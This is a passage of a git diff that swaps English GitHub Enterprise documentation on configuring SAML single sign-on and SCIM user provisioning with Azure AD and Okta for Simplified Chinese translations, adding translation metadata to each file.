的应用程序,然后配置预配。 -1. In Azure AD, add the {% data variables.enterprise.ae_azure_ad_app_link %} to your tenant and configure single sign-on. For more information, see [Tutorial: Azure Active Directory single sign-on (SSO) integration with {% data variables.product.product_name %}](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial) in the Microsoft Docs. +1. 在 Azure AD 中,将 {% data variables.enterprise.ae_azure_ad_app_link %} 添加到租户并配置单一登录。 有关详细信息,请参阅 Microsoft Docs 中的[教程:Azure Active Directory 单一登录 (SSO) 与 {% data variables.product.product_name %} 的集成](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial)。 -1. In {% data variables.product.product_name %}, enter the details for your Azure AD tenant. +1. 在 {% data variables.product.product_name %} 中,输入 Azure AD 租户的详细信息。 - {% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %} - - If you've already configured SAML SSO for {% data variables.location.product_location %} using another IdP and you want to use Azure AD instead, you can edit your configuration. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise#editing-the-saml-sso-configuration)." + - 如果已使用其他 IdP 为{% data variables.location.product_location %}配置 SAML SSO,并且希望改为使用 Azure AD,你可以编辑配置。 有关详细信息,请参阅“[为企业配置 SAML 单一登录](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise#editing-the-saml-sso-configuration)”。 -1. Enable user provisioning in {% data variables.product.product_name %} and configure user provisioning in Azure AD. For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise#enabling-user-provisioning-for-your-enterprise)." +1. 在 {% data variables.product.product_name %} 中启用用户预配,并在 Azure AD 中配置用户预配。 有关详细信息,请参阅“[为企业配置用户预配](/admin/authentication/configuring-user-provisioning-for-your-enterprise#enabling-user-provisioning-for-your-enterprise)”。 {% elsif scim-for-ghes %} -1. Configure SAML SSO for {% data variables.location.product_location %}. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise#configuring-saml-sso)." -1. Configure user provisioning with SCIM for your instance. For more information, see "[Configuring user provisioning with SCIM for your enterprise](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise)." +1. 为 {% data variables.location.product_location %} 配置 SAML SSO。 有关详细信息,请参阅“[为企业配置 SAML 单一登录](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise#configuring-saml-sso)”。 +1. 使用 SCIM 为实例配置用户预配。 有关详细信息,请参阅“[使用 SCIM 为企业配置用户预配](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise)”。 {% endif %} -## Managing enterprise owners +## 管理企业所有者 -The steps to make a person an enterprise owner depend on whether you only use SAML or also use SCIM. For more information about enterprise owners, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)." +使某一人员成为企业所有者的步骤取决于你是仅使用 SAML 还是同时也使用 SCIM。 有关企业所有者的详细信息,请参阅“[企业中的角色](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)”。 -If you configured provisioning, to grant the user enterprise ownership in {% data variables.product.product_name %}, assign the enterprise owner role to the user in Azure AD. +如果配置了预配,要向用户授予 {% data variables.product.product_name %} 中的企业所有权,请在 Azure AD 中为用户分配企业所有者角色。 -If you did not configure provisioning, to grant the user enterprise ownership in {% data variables.product.product_name %}, include the `administrator` attribute in the SAML assertion for the user account on the IdP, with the value of `true`. For more information about including the `administrator` attribute in the SAML claim from Azure AD, see [How to: customize claims issued in the SAML token for enterprise applications](https://docs.microsoft.com/azure/active-directory/develop/active-directory-saml-claims-customization) in the Microsoft Docs. +如果未配置预配,要向用户授予 {% data variables.product.product_name %} 中的企业所有权,请在 IdP 上的用户帐户的 SAML 断言中包含 `administrator` 属性,其值为 `true`。 有关在 Azure AD 的 SAML 声明中包含 `administrator` 属性的详细信息,请参阅 Microsoft Docs 中的[如何:为企业应用程序自定义 SAML 令牌中颁发的声明](https://docs.microsoft.com/azure/active-directory/develop/active-directory-saml-claims-customization)。 diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md b/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md index 57fe092145..4a9799a6cd 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md @@ -1,7 +1,7 @@ --- -title: Configuring authentication and provisioning for your enterprise using Okta +title: 使用 Okta 为企业配置身份验证和预配 shortTitle: Configure with Okta -intro: 'You can use Okta as an identity provider (IdP) to centrally manage authentication and user provisioning for {% data variables.location.product_location %}.' +intro: '可以使用 Okta 作为标识提供者 (IdP) 来集中管理 {% data variables.location.product_location %}的身份验证和用户预配。' permissions: 'Enterprise owners can configure authentication and provisioning for {% data variables.product.product_name %}.' versions: ghae: '*' @@ -16,166 +16,158 @@ topics: - Identity - SSO miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 62a1436fcedc4d90f767d0c612e70810132aff58 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192671' --- - {% data reusables.saml.okta-ae-sso-beta %} -## About authentication and user provisioning with Okta +## 关于使用 Okta 进行身份验证和用户预配 -You can use Okta as an Identity Provider (IdP) for {% data variables.product.product_name %}, which allows your Okta users to sign in to {% data variables.product.product_name %} using their Okta credentials. +你可以使用 Okta 作为 {% data variables.product.product_name %} 的标识提供者 (IdP),这可允许你的 Okta 用户使用其 Okta 凭据登录到 {% data variables.product.product_name %}。 -To use Okta as your IdP for {% data variables.product.product_name %}, you can add the {% data variables.product.product_name %} app to Okta, configure Okta as your IdP in {% data variables.product.product_name %}, and provision access for your Okta users and groups. +要使用 Okta 作为 {% data variables.product.product_name %} 的 IdP,可以将 {% data variables.product.product_name %} 应用添加到 Okta、将 Okta 配置为 {% data variables.product.product_name %} 中的 IdP,并为你的 Okta 用户和组预配访问权限。 {% data reusables.saml.idp-saml-and-scim-explanation %} -- "[Mapping Okta groups to teams](/admin/identity-and-access-management/using-saml-for-enterprise-iam/mapping-okta-groups-to-teams)" +- “[将 Okta 组映射到团队](/admin/identity-and-access-management/using-saml-for-enterprise-iam/mapping-okta-groups-to-teams)” -After you enable SCIM, the following provisioning features are available for any users that you assign your {% data variables.product.product_name %} application to in Okta. +启用 SCIM 后,你在 Okta 中为其分配了 {% data variables.product.product_name %} 应用程序的任何用户都可以使用以下预配。 {% data reusables.scim.ghes-beta-note %} -The following provisioning features are available for all Okta users that you assign to your {% data variables.product.product_name %} application. +以下预配功能可用于你分配给 {% data variables.product.product_name %} 应用程序的所有 Okta 用户。 -| Feature | Description | +| 功能 | 说明 | | --- | --- | -| Push New Users | When you create a new user in Okta, the user is added to {% data variables.product.product_name %}. | -| Push User Deactivation | When you deactivate a user in Okta, it will suspend the user from your enterprise on {% data variables.product.product_name %}. | -| Push Profile Updates | When you update a user's profile in Okta, it will update the metadata for the user's membership in your enterprise on {% data variables.product.product_name %}. | -| Reactivate Users | When you reactivate a user in Okta, it will unsuspend the user in your enterprise on {% data variables.product.product_name %}. | +| 推送新用户 | 在 Okta 中创建新用户时,用户将添加到 {% data variables.product.product_name %}。 | +| 推送用户停用 | 在 Okta 中停用用户时,它将在 {% data variables.product.product_name %} 上从你的企业中暂停该用户。 | +| 推送个人资料更新 | 在 Okta 中更新用户的配置文件时,它将在 {% data variables.product.product_name %} 上从你的企业中更新该用户的成员身份元数据。 | +| 重新激活用户 | 在 Okta 中重新激活用户时,它将在 {% data variables.product.product_name %} 上从你的企业中取消暂停该用户。 | -For more information about managing identity and access for your enterprise on {% data variables.location.product_location %}, see "[Managing identity and access for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise)." +有关在{% data variables.location.product_location %}上管理企业的身份验证和访问控制的详细信息,请参阅“[管理企业的身份验证和访问控制](/admin/authentication/managing-identity-and-access-for-your-enterprise)”。 -## Prerequisites +## 先决条件 -- To configure authentication and user provisioning for {% data variables.product.product_name %} using Okta, you must have an Okta account and tenant. +- 若要使用 Okta 配置 {% data variables.product.product_name %} 的身份验证和用户预配,必须有 Okta 帐户和租户。 {%- ifversion scim-for-ghes %} -- {% data reusables.saml.ghes-you-must-configure-saml-sso %} -{%- endif %} +- {% data reusables.saml.ghes-you-must-configure-saml-sso %} {%- endif %} - {% data reusables.saml.create-a-machine-user %} -## Adding the {% data variables.product.product_name %} application in Okta +## 在 Okta 中添加 {% data variables.product.product_name %} 应用程序 -{% data reusables.saml.okta-ae-applications-menu %} -{% data reusables.saml.okta-browse-app-catalog %} -{%- ifversion ghae %} -1. In the search field, type "GitHub AE", then click **GitHub AE** in the results. +{% data reusables.saml.okta-ae-applications-menu %} {% data reusables.saml.okta-browse-app-catalog %} {%- ifversion ghae %} +1. 在搜索字段中,键入“GitHub AE”,然后单击结果中的“GitHub AE”。 - !["Search result"](/assets/images/help/saml/okta-ae-search.png) -1. Click **Add**. + ![搜索结果](/assets/images/help/saml/okta-ae-search.png) +1. 单击“添加”。 - !["Add GitHub AE app"](/assets/images/help/saml/okta-ae-add-github-ae.png) -1. For "Base URL", type the URL of your enterprise on {% data variables.product.product_name %}. + ![添加 GitHub AE 应用](/assets/images/help/saml/okta-ae-add-github-ae.png) +1. 对于“基 URL”,请键入 {% data variables.product.product_name %}上企业的 URL。 - !["Configure Base URL"](/assets/images/help/saml/okta-ae-configure-base-url.png) -1. Click **Done**. + ![配置基 URL](/assets/images/help/saml/okta-ae-configure-base-url.png) +1. 单击“Done”(完成) 。 {%- elsif scim-for-ghes %} -1. In the search field, type "GitHub Enterprise Server", then click **GitHub Enterprise Server** in the results. -1. Click **Add**. -1. For "Base URL", type the URL of {% data variables.location.product_location %}. -1. Click **Done**. +1. 在搜索字段中,键入“GitHub Enterprise Server”,然后单击结果中的“GitHub Enterprise Server”。 +1. 单击 **添加**。 +1. 对于“基 URL”,请键入 {% data variables.location.product_location %} 的 URL。 +1. 单击“完成”。 {% endif %} -## Enabling SAML SSO for {% data variables.product.product_name %} +## 为 {% data variables.product.product_name %} 启用 SAML SSO -To enable single sign-on (SSO) for {% data variables.product.product_name %}, you must configure {% data variables.product.product_name %} to use the sign-on URL, issuer URL, and public certificate provided by Okta. You can find these details in the Okta app for {% data variables.product.product_name %}. +要为 {% data variables.product.product_name %} 启用单一登录 (SSO),必须将 {% data variables.product.product_name %} 配置为使用 Okta 提供的登录 URL、证书颁发者 URL 和公共证书。 可以在 {% data variables.product.product_name %} 的 Okta 应用中找到这些详细信息。 -{% data reusables.saml.okta-ae-applications-menu %} -{% data reusables.saml.okta-click-on-the-app %} -{% ifversion ghae %} -{% data reusables.saml.okta-sign-on-tab %} -{% data reusables.saml.okta-view-setup-instructions %} -1. Take note of the "Sign on URL", "Issuer", and "Public certificate" details. -1. Use the details to enable SAML SSO for your enterprise on {% data variables.product.product_name %}. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." -{% elsif scim-for-ghes %} -{% data reusables.saml.okta-sign-on-tab %} -1. Use the details to enable SAML SSO for {% data variables.location.product_location %}. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." +{% data reusables.saml.okta-ae-applications-menu %} {% data reusables.saml.okta-click-on-the-app %} {% ifversion ghae %} {% data reusables.saml.okta-sign-on-tab %} {% data reusables.saml.okta-view-setup-instructions %} +1. 记下“登录 URL”、“证书颁发者”和“公共证书”详细信息。 +1. 使用这些详细信息在 {% data variables.product.product_name %} 上为企业启用 SAML SSO。 有关详细信息,请参阅“[为企业配置 SAML 单一登录](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)”。 +{% elsif scim-for-ghes %} {% data reusables.saml.okta-sign-on-tab %} +1. 使用这些详细信息为 {% data variables.location.product_location %} 启用 SAML SSO。 有关详细信息,请参阅“[为企业配置 SAML 单一登录](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)”。 {%- endif %} {% note %} -**Note:** To test your SAML configuration from {% data variables.product.product_name %}, your Okta user account must be assigned to the {% data variables.product.product_name %} app. +注意:要从 {% data variables.product.product_name %} 测试 SAML 配置,必须将你的 Okta 用户帐户分配给 {% data variables.product.product_name %} 应用。 {% endnote %} -## Enabling API integration +## 启用 API 集成 -The Okta app uses the REST API for {% data variables.product.product_name %} for SCIM provisioning. You can enable and test access to the API by configuring Okta with a {% data variables.product.pat_generic %} for {% data variables.product.product_name %}. +Okta 应用使用 {% data variables.product.product_name %} 的 REST API 进行 SCIM 预配。 可以通过使用 {% data variables.product.product_name %} 的{% data variables.product.pat_generic %}配置 Okta 来启用和测试对 API 的访问。 -1. In {% data variables.product.product_name %}, generate a {% data variables.product.pat_v1 %} with the `admin:enterprise` scope. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)". -{% data reusables.saml.okta-ae-applications-menu %} -{% data reusables.saml.okta-click-on-the-app %} -{% data reusables.saml.okta-ae-provisioning-tab %} -1. Click **Configure API Integration**. +1. 在 {% data variables.product.product_name %} 中,生成具有 `admin:enterprise` 范围的{% data variables.product.pat_v1 %}。 有关详细信息,请参阅“[创建{% data variables.product.pat_generic %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)”。 +{% data reusables.saml.okta-ae-applications-menu %} {% data reusables.saml.okta-click-on-the-app %} {% data reusables.saml.okta-ae-provisioning-tab %} +1. 单击“配置 API 集成”。 -1. Select **Enable API integration**. +1. 选择“启用 API 集成”。 - ![Enable API integration](/assets/images/help/saml/okta-ae-enable-api-integration.png) + ![启用 API 集成](/assets/images/help/saml/okta-ae-enable-api-integration.png) -1. For "API Token", type the {% data variables.product.product_name %} {% data variables.product.pat_generic %} you generated previously. +1. 对于“API 令牌”,请键入你前面生成的 {% data variables.product.product_name %} {% data variables.product.pat_generic %}。 -1. Click **Test API Credentials**. +1. 单击“测试 API 凭据”。 {% note %} -**Note:** If you see `Error authenticating: No results for users returned`, confirm that you have enabled SSO for {% data variables.product.product_name %}. For more information see "[Enabling SAML SSO for {% data variables.product.product_name %}](#enabling-saml-sso-for-github-ae)." +注意:如果看到 `Error authenticating: No results for users returned`,请确认已为 {% data variables.product.product_name %} 启用 SSO。 有关详细信息,请参阅“[为 {% data variables.product.product_name %} 启用 SAML SSO](#enabling-saml-sso-for-github-ae)”。 {% endnote %} -## Configuring SCIM provisioning settings +## 配置 SCIM 预配设置 -This procedure demonstrates how to configure the SCIM settings for Okta provisioning. These settings define which features will be used when automatically provisioning Okta user accounts to {% data variables.product.product_name %}. +此过程演示如何为 Okta 预配配置 SCIM 设置。 这些设置定义自动将 Okta 用户帐户预配到 {% data variables.product.product_name %} 时将使用哪些功能。 -{% data reusables.saml.okta-ae-applications-menu %} -{% data reusables.saml.okta-click-on-the-app %} -{% data reusables.saml.okta-ae-provisioning-tab %} -1. Under "Settings", click **To App**. +{% data reusables.saml.okta-ae-applications-menu %} {% data reusables.saml.okta-click-on-the-app %} {% data reusables.saml.okta-ae-provisioning-tab %} +1. 在“设置”下,单击“到应用”。 - !["To App" settings](/assets/images/help/saml/okta-ae-to-app-settings.png) + ![“到应用”设置](/assets/images/help/saml/okta-ae-to-app-settings.png) -1. To the right of "Provisioning to App", click **Edit**. -1. To the right of "Create Users", select **Enable**. -1. To the right of "Update User Attributes", select **Enable**. -1. To the right of "Deactivate Users", select **Enable**. -1. Click **Save**. +1. 在“预配到应用”右侧,单击“编辑”。 +1. 在“创建用户”右侧,选择“启用”。 +1. 在“更新用户属性”右侧,选择“启用”。 +1. 在“停用用户”右侧,选择“启用”。 +1. 单击“ **保存**”。 -## Allowing Okta users and groups to access {% data variables.product.product_name %} +## 允许 Okta 用户和组访问 {% data variables.product.product_name %} -You can provision access to {% data variables.product.product_name %} for your individual Okta users, or for entire groups. +你可以为单个 Okta 用户或整个组预配对 {% data variables.product.product_name %} 的访问权限。 -### Provisioning access for Okta users +### 为 Okta 用户预配访问权限 -Before your Okta users can use their credentials to sign in to {% data variables.product.product_name %}, you must assign the users to the Okta app for {% data variables.product.product_name %}. +在你的 Okta 用户可以使用其凭据登录到 {% data variables.product.product_name %} 之前,必须将这些用户分配到 {% data variables.product.product_name %} 的 Okta 应用。 -{% data reusables.saml.okta-ae-applications-menu %} -{% data reusables.saml.okta-click-on-the-app %} +{% data reusables.saml.okta-ae-applications-menu %} {% data reusables.saml.okta-click-on-the-app %} -1. Click **Assignments**. +1. 单击“分配”。 - ![Assignments tab](/assets/images/help/saml/okta-ae-assignments-tab.png) + ![Assignments(分配)选项卡](/assets/images/help/saml/okta-ae-assignments-tab.png) -1. Select the Assign drop-down menu and click **Assign to People**. +1. 选择“分配”下拉菜单,然后单击“分配给人员”。 - !["Assign to People" button](/assets/images/help/saml/okta-ae-assign-to-people.png) + ![“分配给人员”按钮](/assets/images/help/saml/okta-ae-assign-to-people.png) -1. To the right of the required user account, click **Assign**. +1. 在所需用户帐户的右侧,单击“分配”。 - ![List of users](/assets/images/help/saml/okta-ae-assign-user.png) + ![用户列表](/assets/images/help/saml/okta-ae-assign-user.png) -1. To the right of "Role", click a role for the user, then click **Save and go back**. +1. 在角色右侧,单击用户的角色,然后单击“保存并返回”。 - ![Role selection](/assets/images/help/saml/okta-ae-assign-role.png) + ![角色选择](/assets/images/help/saml/okta-ae-assign-role.png) -1. Click **Done**. +1. 单击“完成”。 {% ifversion ghae %} -### Provisioning access for Okta groups +### 为 Okta 组预配访问权限 -You can map your Okta group to a team in {% data variables.product.product_name %}. Members of the Okta group will then automatically become members of the mapped {% data variables.product.product_name %} team. For more information, see "[Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)." +可以将你的 Okta 组映射到 {% data variables.product.product_name %} 中的团队。 然后,Okta 组的成员将自动成为映射的 {% data variables.product.product_name %} 团队的成员。 有关详细信息,请参阅“[将 Okta 组映射到团队](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)”。 {% endif %} -## Further reading +## 延伸阅读 -- [Understanding SAML](https://developer.okta.com/docs/concepts/saml/) in the Okta documentation -- [Understanding SCIM](https://developer.okta.com/docs/concepts/scim/) in the Okta documentation +- 在 Okta 文档中[了解 SAML](https://developer.okta.com/docs/concepts/saml/) +- 在 Okta 文档中[了解 SCIM](https://developer.okta.com/docs/concepts/scim/) diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-for-your-enterprise.md b/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-for-your-enterprise.md new file mode 100644 index 0000000000..8c6b1090a1 --- /dev/null +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-for-your-enterprise.md @@ -0,0 +1,87 @@ +--- +title: 为企业配置用户预配 +shortTitle: Configure user provisioning +intro: 您可以为企业配置跨域身份管理 (SCIM),以在将 {% data variables.product.product_location %} 的应用程序分配给身份提供商 (IdP) 上的用户时,就自动在 {% data variables.product.product_location %} 上预配用户帐户。 +permissions: Enterprise owners can configure user provisioning for an enterprise on {% data variables.product.product_name %}. +versions: + ghae: '*' +type: how_to +topics: +- Accounts +- Authentication +- Enterprise +- Identity +- SSO +redirect_from: +- /admin/authentication/configuring-user-provisioning-for-your-enterprise +- /admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-user-provisioning-for-your-enterprise +ms.openlocfilehash: c76cf3a3245b272fc61db68470e7a34796a89e42 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145098052" +--- +## 关于企业的用户预配 + +{% data reusables.saml.ae-uses-saml-sso %} 有关详细信息,请参阅“[为企业配置 SAML 单一登录](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)”。 + +在 IdP 上分配或取消分配应用程序时,可以使用 SCIM 配置用户预配以自动创建或暂停用户帐户并授予 {% data variables.product.product_name %} 访问权限。 有关 SCIM 的详细信息,请参阅 IETF 网站上的[跨域身份管理系统:协议 (RFC 7644)](https://tools.ietf.org/html/rfc7644)。 + +如果不使用 SCIM 配置用户预配,则向用户分配或取消分配应用程序时,IdP 将不会自动与 {% data variables.product.product_name %} 通信。 如果没有 SCIM,{% data variables.product.product_name %} 会在有人第一次导航到 {% data variables.product.product_name %} 并通过 IdP 进行身份验证来登录时使用 SAML 实时 (JIT) 预配创建用户帐户。 + +配置预配允许 IdP 在您将 {% data variables.product.product_name %} 的应用程序分配或取消分配给 IdP 上的用户时与 {% data variables.product.product_location %} 通信。 当您分配应用程序时,IdP 将提示 {% data variables.product.product_location %} 创建帐户并向用户发送一封登录电子邮件。 取消分配应用程序时,IdP 将与 {% data variables.product.product_name %} 通信以取消任何 SAML 会话并禁用成员的帐户。 + +要为企业配置预配,必须在 {% data variables.product.product_name %} 上启用预配,然后在 IdP 上安装和配置预配应用程序。 + +IdP 上的预配应用程序通过企业的 SCIM API 与 {% data variables.product.product_name %} 通信。 有关详细信息,请参阅 {% data variables.product.prodname_dotcom %} REST API 文档中的“[GitHub Enterprise 管理](/rest/reference/enterprise-admin#scim)”。 + +## 支持的身份提供程序 + +支持以下 IdP 用于通过 {% data variables.product.prodname_ghe_managed %} 的 SSO: + +{% data reusables.saml.okta-ae-sso-beta %} + +{% data reusables.github-ae.saml-idp-table %} + +对于支持团队映射的 IdP,您可以将 {% data variables.product.product_name %} 应用程序分配给或取消分配给 IdP 中的用户组。 然后,这些组可供 {% data variables.product.product_location %} 中的组织所有者和团队维护员用来映射到 {% data variables.product.product_name %} 团队。 有关详细信息,请参阅“[将 Okta 组映射到团队](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)”。 + +## 先决条件 + +要自动预配和解除预配从 IdP 访问 {% data variables.product.product_location %},必须先在初始化 {% data variables.product.product_name %} 时配置 SAML SSO。 有关详细信息,请参阅“[初始化 {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)”。 + +您必须对 IdP 具有管理访问权限,才能配置应用程序进行 {% data variables.product.product_name %} 的用户预配。 + +## 为企业启用用户预配 + +1. 当以企业所有者身份登录到 {% data variables.product.product_location %} 时,需创建一个具有 admin:enterprise 作用域的个人访问令牌。 有关详细信息,请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 + {% note %} + + **注释**: + - 要创建个人访问令牌,我们建议使用初始化期间创建的第一个企业所有者的帐户。 有关详细信息,请参阅“[初始化 {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)”。 + - 您需要此个人访问令牌在 IdP 上为 SCIM 配置应用程序。 将令牌安全地存储在密码管理器中,直到您稍后在这些说明中再次需要该令牌。 + + {% endnote %} {% warning %} + + 警告:如果创建个人访问令牌的企业所有者的用户帐户被停用或取消预配,IdP 将不再自动为企业预配和取消预配用户帐户。 另一个企业所有者必须创建新的个人访问令牌,并在 IdP 上重新配置预配。 + + {% endwarning %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} +1. 在“SCIM 用户预配”下,选择“需要 SCIM 用户预配”。 + ![企业安全设置中的“需要 SCIM 用户预配”复选框](/assets/images/help/enterprises/settings-require-scim-user-provisioning.png) +1. 单击“ **保存**”。 + ![企业安全设置中“需要 SCIM 用户预配”下的“保存”按钮](/assets/images/help/enterprises/settings-scim-save.png) +1. 在 IdP 上 {% data variables.product.product_name %} 的应用程序中配置用户预配。 + + 以下 IdP 提供有关为 {% data variables.product.product_name %} 配置预配的文档。 如果您的 IdP 未列出,请与您的 IdP 联系,以请求 {% data variables.product.product_name %}。 + + | IdP | 详细信息 | + | :- | :- | + | Azure AD | [教程:在 Microsoft Docs 中配置 {% data variables.product.prodname_ghe_managed %} 以实现自动用户预配](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-provisioning-tutorial)。若要为 {% data variables.product.prodname_ghe_managed %} 配置 Azure AD,请参阅“[使用 Azure AD 为企业配置身份验证和进行预配](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad)”。| +| Okta | (beta 版本)若要为 {% data variables.product.prodname_ghe_managed %} 配置 Okta,请参阅“[使用 Okta 为企业配置身份验证和进行预配](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)”。| + + IdP 上的应用程序需要两个值来预配或取消预配 {% data variables.product.product_location %} 上的用户帐户。 + + | 值 | 其他名称 | 说明 | 示例 | + | :- | :- | :- | :- | + | URL | 租户 URL | {% data variables.product.prodname_ghe_managed %} 上企业的 SCIM 预配 API 的 URL | {% data variables.product.api_url_pre %}/scim/v2 | + | 共享密钥 | 个人访问令牌、机密令牌 | IdP 上的应用程序用于代表企业所有者执行预配任务的令牌 | 您在步骤 1 中创建的个人访问令牌 | diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise.md b/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise.md index 3b0ae254b7..b85d99c0c9 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise.md @@ -1,7 +1,7 @@ --- -title: Configuring user provisioning with SCIM for your enterprise +title: 使用 SCIM 为企业配置用户预配 shortTitle: Configure SCIM user provisioning -intro: 'You can configure System for Cross-domain Identity Management (SCIM) for {% ifversion scim-for-ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %}, which automatically provisions user accounts when you assign the application for {% ifversion scim-for-ghes %}your instance{% elsif ghae %}{% data variables.product.product_name %}{% endif %} to a user on your identity provider (IdP).' +intro: '可以为 {% ifversion scim-for-ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} 配置跨域标识管理系统 (SCIM),当将{% ifversion scim-for-ghes %}你的实例{% elsif ghae %}{% data variables.product.product_name %}{% endif %} 的应用程序分配给标识提供者上的用户时,该系统会自动预配用户帐户。' permissions: '{% ifversion scim-for-ghes %}Site administrators{% elsif ghae %}Enterprise owners{% endif %} can configure user provisioning for {% ifversion scim-for-ghes %}a {% data variables.product.product_name %} instance{% elsif ghae %}an enterprise on {% data variables.product.product_name %}{% endif %}.' versions: ghae: '*' @@ -17,61 +17,66 @@ redirect_from: - /admin/authentication/configuring-user-provisioning-for-your-enterprise - /admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-user-provisioning-for-your-enterprise - /admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-for-your-enterprise +ms.openlocfilehash: ded93a01d14d1a5e26cdf35efed4f13afc832ca1 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192663' --- - {% data reusables.scim.ghes-beta-note %} -## About user provisioning for {% data variables.product.product_name %} +## 关于 {% data variables.product.product_name %} 的用户预配 {% ifversion ghae %} -{% data reusables.saml.ae-uses-saml-sso %} For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)." +{% data reusables.saml.ae-uses-saml-sso %} 有关详细信息,请参阅“[为企业配置 SAML 单一登录](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)”。 {% endif %} -{% ifversion scim-for-ghes %}If you use SAML single sign-on (SSO) for {% data variables.location.product_location %}, you{% elsif ghae %}You{% endif %} can configure SCIM to automatically create or suspend user accounts and grant access{% ifversion scim-for-ghes %} to your instance{% elsif ghae %} for {% data variables.product.product_name %}{% endif %} when you assign or unassign the application on your IdP. For more information about SCIM, see [System for Cross-domain Identity Management: Protocol (RFC 7644)](https://tools.ietf.org/html/rfc7644) on the IETF website. +{% ifversion scim-for-ghes %}如果对 {% data variables.location.product_location %} 使用 SAML 单一登录 (SSO),{% elsif ghae %}你{% endif %}可以配置 SCIM 以自动创建或暂停用户帐户,并且在 IdP 上分配或取消分配应用程序时,可{% ifversion scim-for-ghes %}向实例{% elsif ghae %} 授予 {% data variables.product.product_name %}{% endif %} 的访问权限。 有关 SCIM 的详细信息,请参阅 IETF 网站上的[跨域身份管理系统:协议 (RFC 7644)](https://tools.ietf.org/html/rfc7644)。 -If you do not configure user provisioning with SCIM, your IdP will not communicate with {% data variables.product.product_name %} automatically when you assign or unassign the application to a user. Without SCIM, {% data 